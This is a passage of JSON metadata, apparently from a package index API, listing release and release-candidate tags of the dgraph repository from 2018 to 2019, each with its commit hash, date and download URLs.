ositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc5/manifests"},{"name":"v1.0.15-rc4","sha":"6c68a70950f0656cead86ab917026e28ea019d07","kind":"tag","published_at":"2019-05-03T23:28:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc4/manifests"},{"name":"v1.0.15-rc3","sha":"bf18f9ec9a6547248e8a2de06bc4536b8da36c24","kind":"tag","published_at":"2019-05-02T03:26:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc3/manifests"},{"name":"v1.0.15-rc2","sha":"b1901277a50628fbeb50a95a1d6bbe765fc02d06","kind":"tag","published_at":"2019-04-30T02:39:38.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc2/manifests"},{"name":"v1.0.15-rc1","sha":"4a8be6a32c1988b01b82390296c2ad044eb12bbb","kind":"tag","published_at":"2019-04-22T23:56:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc1/manifests"},{"name":"v1.0.14","sha":"26cb2f94aa45b4e09b2662071d9f750e6c8c131f","kind":"tag","published_at":"2019-04-13T00:38:56.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14/manifests"},{"name":"v1.0.14-rc2","sha":"a3c132ed253106ce3ead203a84312687e4e87ee2","kind":"tag","published_at":"2019-03-28T00:48:34.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-rc2/manifests"},{"name":"v1.0.14-rc1","sha":"90b2260cd613773182dc66dc4188a91e1ebf6d7c","kind":"tag","published_at":"2019-03-13T18:43:27.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-rc1/manifests"},{"name":"v1.0.13","sha":"691b3b3503643a61df68a28e449e2df14d7eb3fb","kind":"tag","published_at":"2019-03-10T16:27:14.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.13","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.13/manifests"},{"name":"v1.0.12","sha":"60d9ef0a837e433afd2c152b2b502e4dc4b51367","kind":"tag","published_at":"2019-03-06T02:29:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12/manifests"},{"name":"v1.0.12-rc7","sha":"8b0f1a7bb1587c25b77dab986f2ab05c760adf84","kind":"tag","published_at":"2019-03-03T05:36:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc7/manifests"},{"name":"v1.0.12-rc6","sha":"0b561bb3e5d9837abe4b37348c19cd881957308f","kind":"tag","published_at":"2019-02-22T03:24:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc6/manifests"},{"name":"v1.0.12-rc5","sha":"266e75f3b40b67d2e9a9b218a876e5676e65d7de","kind":"tag","published_at":"2019-01-17T02:15:49.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc5/manifests"},{"name":"v1.0.12-rc4","sha":"d9831b1037ea2abb037e41677d8e9a4cab15435f","kind":"tag","published_at":"2019-01-16T00:32:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc4/manifests"},{"name":"v1.0.12-rc3","sha":"a136935d3f80645c131a8b4b64a56bc9264a36da","kind":"tag","published_at":"2019-01-14T18:51:15.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc3/manifests"},{"name":"v1.0.12-rc2","sha":"976b498cb9a162c0fcfcafcb379e00c7213197f2","kind":"tag","published_at":"2019-01-10T20:24:04.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc2/manifests"},{"name":"v1.0.12-rc1","sha":"72b7e9b9c3089282a705d059cab6455a05b3d72a","kind":"tag","published_at":"2019-01-02T17:35:39.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.12-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.12-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.12-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.12-rc1/manifests"},{"name":"v1.0.11-nolru","sha":"4451b809fabe627a62525d7e8347b6471de8c4fe","kind":"tag","published_at":"2018-12-20T19:04:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11-nolru","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11-nolru","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11-nolru","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-nolru","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-nolru/manifests"},{"name":"v1.0.11","sha":"b2a09c5b23326fe4d1ca657a1551f8f3e518afdd","kind":"tag","published_at":"2018-12-18T01:51:26.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11/manifests"},{"name":"v1.0.11-rc4","sha":"643e79314e3b30646f06232b2806d1da337fe3ab","kind":"tag","published_at":"2018-11-30T19:18:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc4/manifests"},{"name":"v1.0.11-rc3","sha":"a3a75ef518e01503cf5a3746ecb9e6061b8c7358","kind":"tag","published_at":"2018-11-20T01:16:28.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc3/manifests"},{"name":"v1.0.11-rc2","sha":"bec18bc820bca3a670c8444bf068e3f2ac0afbee","kind":"tag","published_at":"2018-11-14T23:09:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc2/manifests"},{"name":"v1.0.11-rc1","sha":"0178f80d9b8c10b677f50b0ff4ab0b386762f310","kind":"tag","published_at":"2018-11-07T02:49:50.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.11-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.11-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.11-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.11-rc1/manifests"},{"name":"v1.0.10","sha":"8b801bd73655554c74779e80cf50e84361c5ac0e","kind":"tag","published_at":"2018-11-06T02:23:48.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.10","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.10/manifests"},{"name":"v1.0.10-rc1","sha":"eff4ccfb08619049d60f0e73bfd86a11a4c874de","kind":"tag","published_at":"2018-10-23T01:23:32.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.10-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.10-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.10-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.10-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.10-rc1/manifests"},{"name":"v1.0.9-vc","sha":"245f88a417df35e4c1ec5206b969d07fccd7cbd9","kind":"tag","published_at":"2018-10-16T06:00:14.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-vc","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-vc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-vc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-vc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-vc/manifests"},{"name":"v1.0.9-vb","sha":"fc2a4cbedd4a28887fc3c22c324dc53ddc60a32d","kind":"tag","published_at":"2018-10-15T21:48:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-vb","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-vb","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-vb","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-vb","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-vb/manifests"},{"name":"v1.0.9-va","sha":"cc0895b3a19c544acbf01a5cd05f76648836d1f5","kind":"tag","published_at":"2018-10-05T23:29:38.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-va","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-va","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-va","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-va","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-va/manifests"},{"name":"v1.0.9-v","sha":"a8253aeea6946df91438042fa36a0d8e6a29459c","kind":"tag","published_at":"2018-10-05T00:44:33.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-v","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-v","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-v","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-v","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-v/manifests"},{"name":"v1.0.9","sha":"22c13fce2e41aba456c0e51a51ff2bf8b1c5970f","kind":"tag","published_at":"2018-10-02T23:49:55.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9/manifests"},{"name":"v1.0.9-rc5","sha":"ea67a02c40b7836f311de141e85440d3974f76eb","kind":"tag","published_at":"2018-09-25T23:22:17.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-rc5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc5/manifests"},{"name":"v1.0.9-rc4","sha":"2e5fab507621847d3f70b19a34550abee24f59aa","kind":"tag","published_at":"2018-09-20T19:48:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc4/manifests"},{"name":"v1.0.9-rc3","sha":"0dcb25e7c7f188c5fa1baf8b3809cb1bb7f06784","kind":"tag","published_at":"2018-09-18T20:15:54.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc3/manifests"},{"name":"v1.0.9-rc2","sha":"c955ec14aab39a373984e1d34a65e03f4dc67d82","kind":"tag","published_at":"2018-09-16T22:19:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc2/manifests"},{"name":"v1.0.9-rc1","sha":"2dcd4031376468714441be0158c4ac739049a698","kind":"tag","published_at":"2018-09-13T23:59:16.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.9-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.9-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.9-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.9-rc1/manifests"},{"name":"v1.0.8","sha":"1dd8376ff044870cbff4bbbb1e2be6f70b688afb","kind":"tag","published_at":"2018-08-31T17:48:43.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.8","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8/manifests"},{"name":"v1.0.8-rc2","sha":"05aebb4ef41c4444748167d026d4b3529b16ef5f","kind":"tag","published_at":"2018-08-30T00:20:57.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.8-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.8-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.8-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8-rc2/manifests"},{"name":"v1.0.8-rc1","sha":"4b26b6b9b30a3b6bd97f80f59e00527a8337c0c5","kind":"tag","published_at":"2018-08-24T17:40:51.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.8-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.8-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.8-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.8-rc1/manifests"},{"name":"v1.0.7a","sha":"fa4741138672e0a54740aceef0cd2aa68ed4d0ac","kind":"tag","published_at":"2018-08-16T19:00:18.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.7a","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.7a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.7a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7a/manifests"},{"name":"v1.0.7","sha":"f1803442ed8b51acebd844e4cb5c9abd6eebb468","kind":"tag","published_at":"2018-08-10T20:01:39.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7/manifests"},{"name":"v1.0.7-rc4","sha":"ca1eb848c6384539004cdf59809fed0048f52e52","kind":"tag","published_at":"2018-07-27T21:57:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.7-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.7-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.7-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc4/manifests"},{"name":"v1.0.7-rc3","sha":"351c15fd6f89ccb2331c785f2a3d6c54d88fc8f2","kind":"tag","published_at":"2018-07-19T20:07:21.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.7-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.7-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.7-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc3/manifests"},{"name":"v1.0.7-rc2","sha":"85fc758c4856f896a20687f318a17a248738850c","kind":"tag","published_at":"2018-07-19T01:00:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.7-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.7-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.7-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.7-rc2/manifests"},{"name":"v1.0.6-rc1","sha":"4810ba7cdcd6af8d9a0a09552c2eb7a55f37a3f3","kind":"tag","published_at":"2018-07-01T00:59:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.6-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/t